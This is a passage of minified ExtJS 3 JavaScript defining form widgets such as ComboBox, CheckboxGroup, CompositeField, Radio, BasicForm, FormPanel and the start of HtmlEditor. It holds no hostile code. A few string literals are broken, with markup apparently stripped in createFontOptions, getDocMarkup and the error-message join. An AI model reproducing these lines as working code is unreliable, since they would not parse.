Ext.form.ComboBox.superclass.onKeyUp.call(this, b) }, validateBlur:function () { return !this.list || !this.list.isVisible() }, initQuery:function () { this.doQuery(this.getRawValue()) }, beforeBlur:function () { this.assertValue() }, postBlur:function () { Ext.form.ComboBox.superclass.postBlur.call(this); this.collapse(); this.inKeyMode = false }, doQuery:function (c, b) { c = Ext.isEmpty(c) ? "" : c; var a = {query:c, forceAll:b, combo:this, cancel:false}; if (this.fireEvent("beforequery", a) === false || a.cancel) { return false } c = a.query; b = a.forceAll; if (b === true || (c.length >= this.minChars)) { if (this.lastQuery !== c) { this.lastQuery = c; if (this.mode == "local") { this.selectedIndex = -1; if (b) { this.store.clearFilter() } else { this.store.filter(this.displayField, c) } this.onLoad() } else { this.store.baseParams[this.queryParam] = c; this.store.load({params:this.getParams(c)}); this.expand() } } else { this.selectedIndex = -1; this.onLoad() } } }, getParams:function (a) { var b = {}, c = this.store.paramNames; if (this.pageSize) { b[c.start] = 0; b[c.limit] = this.pageSize } return b }, collapse:function () { if (!this.isExpanded()) { return } this.list.hide(); Ext.getDoc().un("mousewheel", this.collapseIf, this); Ext.getDoc().un("mousedown", this.collapseIf, this); this.fireEvent("collapse", this) }, collapseIf:function (a) { if (!this.isDestroyed && !a.within(this.wrap) && !a.within(this.list)) { this.collapse() } }, expand:function () { if (this.isExpanded() || !this.hasFocus) { return } if (this.title || this.pageSize) { this.assetHeight = 0; if (this.title) { this.assetHeight += this.header.getHeight() } if (this.pageSize) { this.assetHeight += this.footer.getHeight() } } if (this.bufferSize) { this.doResize(this.bufferSize); delete this.bufferSize } this.list.alignTo.apply(this.list, [this.el].concat(this.listAlign)); this.list.setZIndex(this.getZIndex()); this.list.show(); if (Ext.isGecko2) { this.innerList.setOverflow("auto") } this.mon(Ext.getDoc(), {scope:this, mousewheel:this.collapseIf, mousedown:this.collapseIf}); this.fireEvent("expand", this) }, onTriggerClick:function () { if (this.readOnly || this.disabled) { return } if (this.isExpanded()) { this.collapse(); this.el.focus() } else { this.onFocus({}); if (this.triggerAction == "all") { this.doQuery(this.allQuery, true) } else { this.doQuery(this.getRawValue()) } this.el.focus() } }}); Ext.reg("combo", Ext.form.ComboBox); Ext.form.Checkbox = Ext.extend(Ext.form.Field, {focusClass:undefined, fieldClass:"x-form-field", checked:false, boxLabel:" ", defaultAutoCreate:{tag:"input", type:"checkbox", autocomplete:"off"}, actionMode:"wrap", initComponent:function () { Ext.form.Checkbox.superclass.initComponent.call(this); this.addEvents("check") }, onResize:function () { Ext.form.Checkbox.superclass.onResize.apply(this, arguments); if (!this.boxLabel && !this.fieldLabel) { this.el.alignTo(this.wrap, "c-c") } }, initEvents:function () { Ext.form.Checkbox.superclass.initEvents.call(this); this.mon(this.el, {scope:this, click:this.onClick, change:this.onClick}) }, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, onRender:function (b, a) { Ext.form.Checkbox.superclass.onRender.call(this, b, a); if (this.inputValue !== undefined) { this.el.dom.value = this.inputValue } this.wrap = this.el.wrap({cls:"x-form-check-wrap"}); if (this.boxLabel) { this.wrap.createChild({tag:"label", htmlFor:this.el.id, cls:"x-form-cb-label", html:this.boxLabel}) } if (this.checked) { this.setValue(true) } else { this.checked = this.el.dom.checked } if (Ext.isIE && !Ext.isStrict) { this.wrap.repaint() } this.resizeEl = this.positionEl = this.wrap }, onDestroy:function () { Ext.destroy(this.wrap); Ext.form.Checkbox.superclass.onDestroy.call(this) }, initValue:function () { this.originalValue = this.getValue() }, getValue:function () { if (this.rendered) { return this.el.dom.checked } return this.checked }, onClick:function () { if (this.el.dom.checked != this.checked) { this.setValue(this.el.dom.checked) } }, setValue:function (a) { var c = this.checked, b = this.inputValue; if (a === false) { this.checked = false } else { this.checked = (a === true || a === "true" || a == "1" || (b ? a == b : String(a).toLowerCase() == "on")) } if (this.rendered) { this.el.dom.checked = this.checked; this.el.dom.defaultChecked = this.checked } if (c != this.checked) { this.fireEvent("check", this, this.checked); if (this.handler) { this.handler.call(this.scope || this, this, this.checked) } } return this }}); Ext.reg("checkbox", Ext.form.Checkbox); Ext.form.CheckboxGroup = Ext.extend(Ext.form.Field, {columns:"auto", vertical:false, allowBlank:true, blankText:"You must select at least one item in this group", defaultType:"checkbox", groupCls:"x-form-check-group", initComponent:function () { this.addEvents("change"); this.on("change", this.validate, this); Ext.form.CheckboxGroup.superclass.initComponent.call(this) }, onRender:function (j, g) { if (!this.el) { var p = {autoEl:{id:this.id}, cls:this.groupCls, layout:"column", renderTo:j, bufferResize:false}; var a = {xtype:"container", defaultType:this.defaultType, layout:"form", defaults:{hideLabel:true, anchor:"100%"}}; if (this.items[0].items) { Ext.apply(p, {layoutConfig:{columns:this.items.length}, defaults:this.defaults, items:this.items}); for (var e = 0, m = this.items.length; e < m; e++) { Ext.applyIf(this.items[e], a) } } else { var d, n = []; if (typeof this.columns == "string") { this.columns = this.items.length } if (!Ext.isArray(this.columns)) { var k = []; for (var e = 0; e < this.columns; e++) { k.push((100 / this.columns) * 0.01) } this.columns = k } d = this.columns.length; for (var e = 0; e < d; e++) { var b = Ext.apply({items:[]}, a); b[this.columns[e] <= 1 ? "columnWidth" : "width"] = this.columns[e]; if (this.defaults) { b.defaults = Ext.apply(b.defaults || {}, this.defaults) } n.push(b) } if (this.vertical) { var r = Math.ceil(this.items.length / d), o = 0; for (var e = 0, m = this.items.length; e < m; e++) { if (e > 0 && e % r == 0) { o++ } if (this.items[e].fieldLabel) { this.items[e].hideLabel = false } n[o].items.push(this.items[e]) } } else { for (var e = 0, m = this.items.length; e < m; e++) { var q = e % d; if (this.items[e].fieldLabel) { this.items[e].hideLabel = false } n[q].items.push(this.items[e]) } } Ext.apply(p, {layoutConfig:{columns:d}, items:n}) } this.panel = new Ext.Container(p); this.panel.ownerCt = this; this.el = this.panel.getEl(); if (this.forId && this.itemCls) { var c = this.el.up(this.itemCls).child("label", true); if (c) { c.setAttribute("htmlFor", this.forId) } } var h = this.panel.findBy(function (i) { return i.isFormField }, this); this.items = new Ext.util.MixedCollection(); this.items.addAll(h) } Ext.form.CheckboxGroup.superclass.onRender.call(this, j, g) }, initValue:function () { if (this.value) { this.setValue.apply(this, this.buffered ? this.value : [this.value]); delete this.buffered; delete this.value } }, afterRender:function () { Ext.form.CheckboxGroup.superclass.afterRender.call(this); this.eachItem(function (a) { a.on("check", this.fireChecked, this); a.inGroup = true }) }, doLayout:function () { if (this.rendered) { this.panel.forceLayout = this.ownerCt.forceLayout; this.panel.doLayout() } }, fireChecked:function () { var a = []; this.eachItem(function (b) { if (b.checked) { a.push(b) } }); this.fireEvent("change", this, a) }, getErrors:function () { var b = Ext.form.CheckboxGroup.superclass.getErrors.apply(this, arguments); if (!this.allowBlank) { var a = true; this.eachItem(function (c) { if (c.checked) { return(a = false) } }); if (a) { b.push(this.blankText) } } return b }, isDirty:function () { if (this.disabled || !this.rendered) { return false } var a = false; this.eachItem(function (b) { if (b.isDirty()) { a = true; return false } }); return a }, setReadOnly:function (a) { if (this.rendered) { this.eachItem(function (b) { b.setReadOnly(a) }) } this.readOnly = a }, onDisable:function () { this.eachItem(function (a) { a.disable() }) }, onEnable:function () { this.eachItem(function (a) { a.enable() }) }, onResize:function (a, b) { this.panel.setSize(a, b); this.panel.doLayout() }, reset:function () { if (this.originalValue) { this.eachItem(function (a) { if (a.setValue) { a.setValue(false); a.originalValue = a.getValue() } }); this.resetOriginal = true; this.setValue(this.originalValue); delete this.resetOriginal } else { this.eachItem(function (a) { if (a.reset) { a.reset() } }) } (function () { this.clearInvalid() }).defer(50, this) }, setValue:function () { if (this.rendered) { this.onSetValue.apply(this, arguments) } else { this.buffered = true; this.value = arguments } return this }, onSetValue:function (d, c) { if (arguments.length == 1) { if (Ext.isArray(d)) { Ext.each(d, function (h, e) { if (Ext.isObject(h) && h.setValue) { h.setValue(true); if (this.resetOriginal === true) { h.originalValue = h.getValue() } } else { var g = this.items.itemAt(e); if (g) { g.setValue(h) } } }, this) } else { if (Ext.isObject(d)) { for (var a in d) { var b = this.getBox(a); if (b) { b.setValue(d[a]) } } } else { this.setValueForItem(d) } } } else { var b = this.getBox(d); if (b) { b.setValue(c) } } }, beforeDestroy:function () { Ext.destroy(this.panel); if (!this.rendered) { Ext.destroy(this.items) } Ext.form.CheckboxGroup.superclass.beforeDestroy.call(this) }, setValueForItem:function (a) { a = String(a).split(","); this.eachItem(function (b) { if (a.indexOf(b.inputValue) > -1) { b.setValue(true) } }) }, getBox:function (b) { var a = null; this.eachItem(function (c) { if (b == c || c.dataIndex == b || c.id == b || c.getName() == b) { a = c; return false } }); return a }, getValue:function () { var a = []; this.eachItem(function (b) { if (b.checked) { a.push(b) } }); return a }, eachItem:function (b, a) { if (this.items && this.items.each) { this.items.each(b, a || this) } }, getRawValue:Ext.emptyFn, setRawValue:Ext.emptyFn}); Ext.reg("checkboxgroup", Ext.form.CheckboxGroup); Ext.form.CompositeField = Ext.extend(Ext.form.Field, {defaultMargins:"0 5 0 0", skipLastItemMargin:true, isComposite:true, combineErrors:true, labelConnector:", ", initComponent:function () { var g = [], b = this.items, e; for (var d = 0, c = b.length; d < c; d++) { e = b[d]; if (!Ext.isEmpty(e.ref)) { e.ref = "../" + e.ref } g.push(e.fieldLabel); Ext.applyIf(e, this.defaults); if (!(d == c - 1 && this.skipLastItemMargin)) { Ext.applyIf(e, {margins:this.defaultMargins}) } } this.fieldLabel = this.fieldLabel || this.buildLabel(g); this.fieldErrors = new Ext.util.MixedCollection(true, function (h) { return h.field }); this.fieldErrors.on({scope:this, add:this.updateInvalidMark, remove:this.updateInvalidMark, replace:this.updateInvalidMark}); Ext.form.CompositeField.superclass.initComponent.apply(this, arguments); this.innerCt = new Ext.Container({layout:"hbox", items:this.items, cls:"x-form-composite", defaultMargins:"0 3 0 0", ownerCt:this}); this.innerCt.ownerCt = undefined; var a = this.innerCt.findBy(function (h) { return h.isFormField }, this); this.items = new Ext.util.MixedCollection(); this.items.addAll(a) }, onRender:function (c, a) { if (!this.el) { var d = this.innerCt; d.render(c); this.el = d.getEl(); if (this.combineErrors) { this.eachItem(function (e) { Ext.apply(e, {markInvalid:this.onFieldMarkInvalid.createDelegate(this, [e], 0), clearInvalid:this.onFieldClearInvalid.createDelegate(this, [e], 0)}) }) } var b = this.el.parent().parent().child("label", true); if (b) { b.setAttribute("for", this.items.items[0].id) } } Ext.form.CompositeField.superclass.onRender.apply(this, arguments) }, onFieldMarkInvalid:function (d, c) { var b = d.getName(), a = {field:b, errorName:d.fieldLabel || b, error:c}; this.fieldErrors.replace(b, a); if (!d.preventMark) { d.el.addClass(d.invalidClass) } }, onFieldClearInvalid:function (a) { this.fieldErrors.removeKey(a.getName()); a.el.removeClass(a.invalidClass) }, updateInvalidMark:function () { var a = Ext.isIE6 && Ext.isStrict; if (this.fieldErrors.length == 0) { this.clearInvalid(); if (a) { this.clearInvalid.defer(50, this) } } else { var b = this.buildCombinedErrorMessage(this.fieldErrors.items); this.sortErrors(); this.markInvalid(b); if (a) { this.markInvalid(b) } } }, validateValue:function (c, a) { var b = true; this.eachItem(function (d) { if (!d.isValid(a)) { b = false } }); return b }, buildCombinedErrorMessage:function (e) { var d = [], b; for (var c = 0, a = e.length; c < a; c++) { b = e[c]; d.push(String.format("{0}: {1}", b.errorName, b.error)) } return d.join("
    ") }, sortErrors:function () { var a = this.items; this.fieldErrors.sort("ASC", function (g, d) { var c = function (b) { return function (i) { return i.getName() == b } }; var h = a.findIndexBy(c(g.field)), e = a.findIndexBy(c(d.field)); return h < e ? -1 : 1 }) }, reset:function () { this.eachItem(function (a) { a.reset() }); (function () { this.clearInvalid() }).defer(50, this) }, clearInvalidChildren:function () { this.eachItem(function (a) { a.clearInvalid() }) }, buildLabel:function (a) { return Ext.clean(a).join(this.labelConnector) }, isDirty:function () { if (this.disabled || !this.rendered) { return false } var a = false; this.eachItem(function (b) { if (b.isDirty()) { a = true; return false } }); return a }, eachItem:function (b, a) { if (this.items && this.items.each) { this.items.each(b, a || this) } }, onResize:function (e, c, a, d) { var b = this.innerCt; if (this.rendered && b.rendered) { b.setSize(e, c) } Ext.form.CompositeField.superclass.onResize.apply(this, arguments) }, doLayout:function (c, b) { if (this.rendered) { var a = this.innerCt; a.forceLayout = this.ownerCt.forceLayout; a.doLayout(c, b) } }, beforeDestroy:function () { Ext.destroy(this.innerCt); Ext.form.CompositeField.superclass.beforeDestroy.call(this) }, setReadOnly:function (a) { if (a == undefined) { a = true } a = !!a; if (this.rendered) { this.eachItem(function (b) { b.setReadOnly(a) }) } this.readOnly = a }, onShow:function () { Ext.form.CompositeField.superclass.onShow.call(this); this.doLayout() }, onDisable:function () { this.eachItem(function (a) { a.disable() }) }, onEnable:function () { this.eachItem(function (a) { a.enable() }) }}); Ext.reg("compositefield", Ext.form.CompositeField); Ext.form.Radio = Ext.extend(Ext.form.Checkbox, {inputType:"radio", markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, getGroupValue:function () { var a = this.el.up("form") || Ext.getBody(); var b = a.child('input[name="' + this.el.dom.name + '"]:checked', true); return b ? b.value : null }, setValue:function (b) { var a, d, c; if (typeof b == "boolean") { Ext.form.Radio.superclass.setValue.call(this, b) } else { if (this.rendered) { a = this.getCheckEl(); c = a.child('input[name="' + this.el.dom.name + '"][value="' + b + '"]', true); if (c) { Ext.getCmp(c.id).setValue(true) } } } if (this.rendered && this.checked) { a = a || this.getCheckEl(); d = this.getCheckEl().select('input[name="' + this.el.dom.name + '"]'); d.each(function (e) { if (e.dom.id != this.id) { Ext.getCmp(e.dom.id).setValue(false) } }, this) } return this }, getCheckEl:function () { if (this.inGroup) { return this.el.up(".x-form-radio-group") } return this.el.up("form") || Ext.getBody() }}); Ext.reg("radio", Ext.form.Radio); Ext.form.RadioGroup = Ext.extend(Ext.form.CheckboxGroup, {allowBlank:true, blankText:"You must select one item in this group", defaultType:"radio", groupCls:"x-form-radio-group", getValue:function () { var a = null; this.eachItem(function (b) { if (b.checked) { a = b; return false } }); return a }, onSetValue:function (c, b) { if (arguments.length > 1) { var a = this.getBox(c); if (a) { a.setValue(b); if (a.checked) { this.eachItem(function (d) { if (d !== a) { d.setValue(false) } }) } } } else { this.setValueForItem(c) } }, setValueForItem:function (a) { a = String(a).split(",")[0]; this.eachItem(function (b) { b.setValue(a == b.inputValue) }) }, fireChecked:function () { if (!this.checkTask) { this.checkTask = new Ext.util.DelayedTask(this.bufferChecked, this) } this.checkTask.delay(10) }, bufferChecked:function () { var a = null; this.eachItem(function (b) { if (b.checked) { a = b; return false } }); this.fireEvent("change", this, a) }, onDestroy:function () { if (this.checkTask) { this.checkTask.cancel(); this.checkTask = null } Ext.form.RadioGroup.superclass.onDestroy.call(this) }}); Ext.reg("radiogroup", Ext.form.RadioGroup); Ext.form.Hidden = Ext.extend(Ext.form.Field, {inputType:"hidden", shouldLayout:false, onRender:function () { Ext.form.Hidden.superclass.onRender.apply(this, arguments) }, initEvents:function () { this.originalValue = this.getValue() }, setSize:Ext.emptyFn, setWidth:Ext.emptyFn, setHeight:Ext.emptyFn, setPosition:Ext.emptyFn, setPagePosition:Ext.emptyFn, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn}); Ext.reg("hidden", Ext.form.Hidden); Ext.form.BasicForm = Ext.extend(Ext.util.Observable, {constructor:function (b, a) { Ext.apply(this, a); if (Ext.isString(this.paramOrder)) { this.paramOrder = this.paramOrder.split(/[\s,|]/) } this.items = new Ext.util.MixedCollection(false, function (c) { return c.getItemId() }); this.addEvents("beforeaction", "actionfailed", "actioncomplete"); if (b) { this.initEl(b) } Ext.form.BasicForm.superclass.constructor.call(this) }, timeout:30, paramOrder:undefined, paramsAsHash:false, waitTitle:"Please Wait...", activeAction:null, trackResetOnLoad:false, initEl:function (a) { this.el = Ext.get(a); this.id = this.el.id || Ext.id(); if (!this.standardSubmit) { this.el.on("submit", this.onSubmit, this) } this.el.addClass("x-form") }, getEl:function () { return this.el }, onSubmit:function (a) { a.stopEvent() }, destroy:function (a) { if (a !== true) { this.items.each(function (b) { Ext.destroy(b) }); Ext.destroy(this.el) } this.items.clear(); this.purgeListeners() }, isValid:function () { var a = true; this.items.each(function (b) { if (!b.validate()) { a = false } }); return a }, isDirty:function () { var a = false; this.items.each(function (b) { if (b.isDirty()) { a = true; return false } }); return a }, doAction:function (b, a) { if (Ext.isString(b)) { b = new Ext.form.Action.ACTION_TYPES[b](this, a) } if (this.fireEvent("beforeaction", this, b) !== false) { this.beforeAction(b); b.run.defer(100, b) } return this }, submit:function (b) { b = b || {}; if (this.standardSubmit) { var a = b.clientValidation === false || this.isValid(); if (a) { var c = this.el.dom; if (this.url && Ext.isEmpty(c.action)) { c.action = this.url } c.submit() } return a } var d = String.format("{0}submit", this.api ? "direct" : ""); this.doAction(d, b); return this }, load:function (a) { var b = String.format("{0}load", this.api ? "direct" : ""); this.doAction(b, a); return this }, updateRecord:function (b) { b.beginEdit(); var a = b.fields, d, c; a.each(function (e) { d = this.findField(e.name); if (d) { c = d.getValue(); if (Ext.type(c) !== false && c.getGroupValue) { c = c.getGroupValue() } else { if (d.eachItem) { c = []; d.eachItem(function (g) { c.push(g.getValue()) }) } } b.set(e.name, c) } }, this); b.endEdit(); return this }, loadRecord:function (a) { this.setValues(a.data); return this }, beforeAction:function (a) { this.items.each(function (c) { if (c.isFormField && c.syncValue) { c.syncValue() } }); var b = a.options; if (b.waitMsg) { if (this.waitMsgTarget === true) { this.el.mask(b.waitMsg, "x-mask-loading") } else { if (this.waitMsgTarget) { this.waitMsgTarget = Ext.get(this.waitMsgTarget); this.waitMsgTarget.mask(b.waitMsg, "x-mask-loading") } else { Ext.MessageBox.wait(b.waitMsg, b.waitTitle || this.waitTitle) } } } }, afterAction:function (a, c) { this.activeAction = null; var b = a.options; if (b.waitMsg) { if (this.waitMsgTarget === true) { this.el.unmask() } else { if (this.waitMsgTarget) { this.waitMsgTarget.unmask() } else { Ext.MessageBox.updateProgress(1); Ext.MessageBox.hide() } } } if (c) { if (b.reset) { this.reset() } Ext.callback(b.success, b.scope, [this, a]); this.fireEvent("actioncomplete", this, a) } else { Ext.callback(b.failure, b.scope, [this, a]); this.fireEvent("actionfailed", this, a) } }, findField:function (c) { var b = this.items.get(c); if (!Ext.isObject(b)) { var a = function (d) { if (d.isFormField) { if (d.dataIndex == c || d.id == c || d.getName() == c) { b = d; return false } else { if (d.isComposite) { return d.items.each(a) } else { if (d instanceof Ext.form.CheckboxGroup && d.rendered) { return d.eachItem(a) } } } } }; this.items.each(a) } return b || null }, markInvalid:function (h) { if (Ext.isArray(h)) { for (var c = 0, a = h.length; c < a; c++) { var b = h[c]; var d = this.findField(b.id); if (d) { d.markInvalid(b.msg) } } } else { var e, g; for (g in h) { if (!Ext.isFunction(h[g]) && (e = this.findField(g))) { e.markInvalid(h[g]) } } } return this }, setValues:function (c) { if (Ext.isArray(c)) { for (var d = 0, a = c.length; d < a; d++) { var b = c[d]; var e = this.findField(b.id); if (e) { e.setValue(b.value); if (this.trackResetOnLoad) { e.originalValue = e.getValue() } } } } else { var g, h; for (h in c) { if (!Ext.isFunction(c[h]) && (g = this.findField(h))) { g.setValue(c[h]); if (this.trackResetOnLoad) { g.originalValue = g.getValue() } } } } return this }, getValues:function (b) { var a = Ext.lib.Ajax.serializeForm(this.el.dom); if (b === true) { return a } return Ext.urlDecode(a) }, getFieldValues:function (a) { var d = {}, e, b, c; this.items.each(function (g) { if (!g.disabled && (a !== true || g.isDirty())) { e = g.getName(); b = d[e]; c = g.getValue(); if (Ext.isDefined(b)) { if (Ext.isArray(b)) { d[e].push(c) } else { d[e] = [b, c] } } else { d[e] = c } } }); return d }, clearInvalid:function () { this.items.each(function (a) { a.clearInvalid() }); return this }, reset:function () { this.items.each(function (a) { a.reset() }); return this }, add:function () { this.items.addAll(Array.prototype.slice.call(arguments, 0)); return this }, remove:function (a) { this.items.remove(a); return this }, cleanDestroyed:function () { this.items.filterBy( function (a) { return !!a.isDestroyed }).each(this.remove, this) }, render:function () { this.items.each(function (a) { if (a.isFormField && !a.rendered && document.getElementById(a.id)) { a.applyToMarkup(a.id) } }); return this }, applyToFields:function (a) { this.items.each(function (b) { Ext.apply(b, a) }); return this }, applyIfToFields:function (a) { this.items.each(function (b) { Ext.applyIf(b, a) }); return this }, callFieldMethod:function (b, a) { a = a || []; this.items.each(function (c) { if (Ext.isFunction(c[b])) { c[b].apply(c, a) } }); return this }}); Ext.BasicForm = Ext.form.BasicForm; Ext.FormPanel = Ext.extend(Ext.Panel, {minButtonWidth:75, labelAlign:"left", monitorValid:false, monitorPoll:200, layout:"form", initComponent:function () { this.form = this.createForm(); Ext.FormPanel.superclass.initComponent.call(this); this.bodyCfg = {tag:"form", cls:this.baseCls + "-body", method:this.method || "POST", id:this.formId || Ext.id()}; if (this.fileUpload) { this.bodyCfg.enctype = "multipart/form-data" } this.initItems(); this.addEvents("clientvalidation"); this.relayEvents(this.form, ["beforeaction", "actionfailed", "actioncomplete"]) }, createForm:function () { var a = Ext.applyIf({listeners:{}}, this.initialConfig); return new Ext.form.BasicForm(null, a) }, initFields:function () { var c = this.form; var a = this; var b = function (d) { if (a.isField(d)) { c.add(d) } else { if (d.findBy && d != a) { a.applySettings(d); if (d.items && d.items.each) { d.items.each(b, this) } } } }; this.items.each(b, this) }, applySettings:function (b) { var a = b.ownerCt; Ext.applyIf(b, {labelAlign:a.labelAlign, labelWidth:a.labelWidth, itemCls:a.itemCls}) }, getLayoutTarget:function () { return this.form.el }, getForm:function () { return this.form }, onRender:function (b, a) { this.initFields(); Ext.FormPanel.superclass.onRender.call(this, b, a); this.form.initEl(this.body) }, beforeDestroy:function () { this.stopMonitoring(); this.form.destroy(true); Ext.FormPanel.superclass.beforeDestroy.call(this) }, isField:function (a) { return !!a.setValue && !!a.getValue && !!a.markInvalid && !!a.clearInvalid }, initEvents:function () { Ext.FormPanel.superclass.initEvents.call(this); this.on({scope:this, add:this.onAddEvent, remove:this.onRemoveEvent}); if (this.monitorValid) { this.startMonitoring() } }, onAdd:function (a) { Ext.FormPanel.superclass.onAdd.call(this, a); this.processAdd(a) }, onAddEvent:function (a, b) { if (a !== this) { this.processAdd(b) } }, processAdd:function (a) { if (this.isField(a)) { this.form.add(a) } else { if (a.findBy) { this.applySettings(a); this.form.add.apply(this.form, a.findBy(this.isField)) } } }, onRemove:function (a) { Ext.FormPanel.superclass.onRemove.call(this, a); this.processRemove(a) }, onRemoveEvent:function (a, b) { if (a !== this) { this.processRemove(b) } }, processRemove:function (a) { if (!this.destroying) { if (this.isField(a)) { this.form.remove(a) } else { if (a.findBy) { Ext.each(a.findBy(this.isField), this.form.remove, this.form); this.form.cleanDestroyed() } } } }, startMonitoring:function () { if (!this.validTask) { this.validTask = new Ext.util.TaskRunner(); this.validTask.start({run:this.bindHandler, interval:this.monitorPoll || 200, scope:this}) } }, stopMonitoring:function () { if (this.validTask) { this.validTask.stopAll(); this.validTask = null } }, load:function () { this.form.load.apply(this.form, arguments) }, onDisable:function () { Ext.FormPanel.superclass.onDisable.call(this); if (this.form) { this.form.items.each(function () { this.disable() }) } }, onEnable:function () { Ext.FormPanel.superclass.onEnable.call(this); if (this.form) { this.form.items.each(function () { this.enable() }) } }, bindHandler:function () { var e = true; this.form.items.each(function (g) { if (!g.isValid(true)) { e = false; return false } }); if (this.fbar) { var b = this.fbar.items.items; for (var d = 0, a = b.length; d < a; d++) { var c = b[d]; if (c.formBind === true && c.disabled === e) { c.setDisabled(!e) } } } this.fireEvent("clientvalidation", this, e) }}); Ext.reg("form", Ext.FormPanel); Ext.form.FormPanel = Ext.FormPanel; Ext.form.FieldSet = Ext.extend(Ext.Panel, {baseCls:"x-fieldset", layout:"form", animCollapse:false, onRender:function (b, a) { if (!this.el) { this.el = document.createElement("fieldset"); this.el.id = this.id; if (this.title || this.header || this.checkboxToggle) { this.el.appendChild(document.createElement("legend")).className = this.baseCls + "-header" } } Ext.form.FieldSet.superclass.onRender.call(this, b, a); if (this.checkboxToggle) { var c = typeof this.checkboxToggle == "object" ? this.checkboxToggle : {tag:"input", type:"checkbox", name:this.checkboxName || this.id + "-checkbox"}; this.checkbox = this.header.insertFirst(c); this.checkbox.dom.checked = !this.collapsed; this.mon(this.checkbox, "click", this.onCheckClick, this) } }, onCollapse:function (a, b) { if (this.checkbox) { this.checkbox.dom.checked = false } Ext.form.FieldSet.superclass.onCollapse.call(this, a, b) }, onExpand:function (a, b) { if (this.checkbox) { this.checkbox.dom.checked = true } Ext.form.FieldSet.superclass.onExpand.call(this, a, b) }, onCheckClick:function () { this[this.checkbox.dom.checked ? "expand" : "collapse"]() }}); Ext.reg("fieldset", Ext.form.FieldSet); Ext.form.HtmlEditor = Ext.extend(Ext.form.Field, {enableFormat:true, enableFontSize:true, enableColors:true, enableAlignments:true, enableLists:true, enableSourceEdit:true, enableLinks:true, enableFont:true, createLinkText:"Please enter the URL for the link:", defaultLinkValue:"http://", fontFamilies:["Arial", "Courier New", "Tahoma", "Times New Roman", "Verdana"], defaultFont:"tahoma", defaultValue:(Ext.isOpera || Ext.isIE6) ? " " : "​", actionMode:"wrap", validationEvent:false, deferHeight:true, initialized:false, activated:false, sourceEditMode:false, onFocus:Ext.emptyFn, iframePad:3, hideMode:"offsets", defaultAutoCreate:{tag:"textarea", style:"width:500px;height:300px;", autocomplete:"off"}, initComponent:function () { this.addEvents("initialize", "activate", "beforesync", "beforepush", "sync", "push", "editmodechange"); Ext.form.HtmlEditor.superclass.initComponent.call(this) }, createFontOptions:function () { var d = [], b = this.fontFamilies, c, g; for (var e = 0, a = b.length; e < a; e++) { c = b[e]; g = c.toLowerCase(); d.push('") } return d.join("") }, createToolbar:function (e) { var c = []; var a = Ext.QuickTips && Ext.QuickTips.isEnabled(); function d(j, h, i) { return{itemId:j, cls:"x-btn-icon", iconCls:"x-edit-" + j, enableToggle:h !== false, scope:e, handler:i || e.relayBtnCmd, clickEvent:"mousedown", tooltip:a ? e.buttonTips[j] || undefined : undefined, overflowText:e.buttonTips[j].title || undefined, tabIndex:-1} } if (this.enableFont && !Ext.isSafari2) { var g = new Ext.Toolbar.Item({autoEl:{tag:"select", cls:"x-font-select", html:this.createFontOptions()}}); c.push(g, "-") } if (this.enableFormat) { c.push(d("bold"), d("italic"), d("underline")) } if (this.enableFontSize) { c.push("-", d("increasefontsize", false, this.adjustFont), d("decreasefontsize", false, this.adjustFont)) } if (this.enableColors) { c.push("-", {itemId:"forecolor", cls:"x-btn-icon", iconCls:"x-edit-forecolor", clickEvent:"mousedown", tooltip:a ? e.buttonTips.forecolor || undefined : undefined, tabIndex:-1, menu:new Ext.menu.ColorMenu({allowReselect:true, focus:Ext.emptyFn, value:"000000", plain:true, listeners:{scope:this, select:function (i, h) { this.execCmd("forecolor", Ext.isWebKit || Ext.isIE ? "#" + h : h); this.deferFocus() }}, clickEvent:"mousedown"})}, {itemId:"backcolor", cls:"x-btn-icon", iconCls:"x-edit-backcolor", clickEvent:"mousedown", tooltip:a ? e.buttonTips.backcolor || undefined : undefined, tabIndex:-1, menu:new Ext.menu.ColorMenu({focus:Ext.emptyFn, value:"FFFFFF", plain:true, allowReselect:true, listeners:{scope:this, select:function (i, h) { if (Ext.isGecko) { this.execCmd("useCSS", false); this.execCmd("hilitecolor", h); this.execCmd("useCSS", true); this.deferFocus() } else { this.execCmd(Ext.isOpera ? "hilitecolor" : "backcolor", Ext.isWebKit || Ext.isIE ? "#" + h : h); this.deferFocus() } }}, clickEvent:"mousedown"})}) } if (this.enableAlignments) { c.push("-", d("justifyleft"), d("justifycenter"), d("justifyright")) } if (!Ext.isSafari2) { if (this.enableLinks) { c.push("-", d("createlink", false, this.createLink)) } if (this.enableLists) { c.push("-", d("insertorderedlist"), d("insertunorderedlist")) } if (this.enableSourceEdit) { c.push("-", d("sourceedit", true, function (h) { this.toggleSourceEdit(!this.sourceEditMode) })) } } var b = new Ext.Toolbar({renderTo:this.wrap.dom.firstChild, items:c}); if (g) { this.fontSelect = g.el; this.mon(this.fontSelect, "change", function () { var h = this.fontSelect.dom.value; this.relayCmd("fontname", h); this.deferFocus() }, this) } this.mon(b.el, "click", function (h) { h.preventDefault() }); this.tb = b; this.tb.doLayout() }, onDisable:function () { this.wrap.mask(); Ext.form.HtmlEditor.superclass.onDisable.call(this) }, onEnable:function () { this.wrap.unmask(); Ext.form.HtmlEditor.superclass.onEnable.call(this) }, setReadOnly:function (b) { Ext.form.HtmlEditor.superclass.setReadOnly.call(this, b); if (this.initialized) { if (Ext.isIE) { this.getEditorBody().contentEditable = !b } else { this.setDesignMode(!b) } var a = this.getEditorBody(); if (a) { a.style.cursor = this.readOnly ? "default" : "text" } this.disableItems(b) } }, getDocMarkup:function () { var a = Ext.fly(this.iframe).getHeight() - this.iframePad * 2; return String.format('', this.iframePad, a) }, getEditorBody:function () { var a = this.getDoc(); return a.body || a.documentElement }, getDoc:function () { return Ext.isIE ? this.getWin().document : (this.iframe.contentDocument || this.getWin().document) }, getWin:function () { return Ext.isIE ? this.iframe.contentWindow : window.frames[this.iframe.name] }, onRender:function (b, a) { Ext.form.HtmlEditor.superclass.onRender.call(this, b, a); this.el.dom.style.border = "0 none"; this.el.dom.setAttribute("tabIndex", -1); this.el.addClass("x-hidden"); if (Ext.isIE) { this.el.applyStyles("margin-top:-1px;margin-bottom:-1px;") } this.wrap = this.el.wrap({cls:"x-html-editor-wrap", cn:{cls:"x-html-editor-tb"}}); this.createToolbar(this); this.disableItems(true); this.tb.doLayout(); this.createIFrame(); if (!this.width) { var c = this.el.getSize(); this.setSize(c.width, this.height || c.height) } this.resizeEl = this.positionEl = this.wrap }, createIFrame:function () { var a = document.createElement("iframe"); 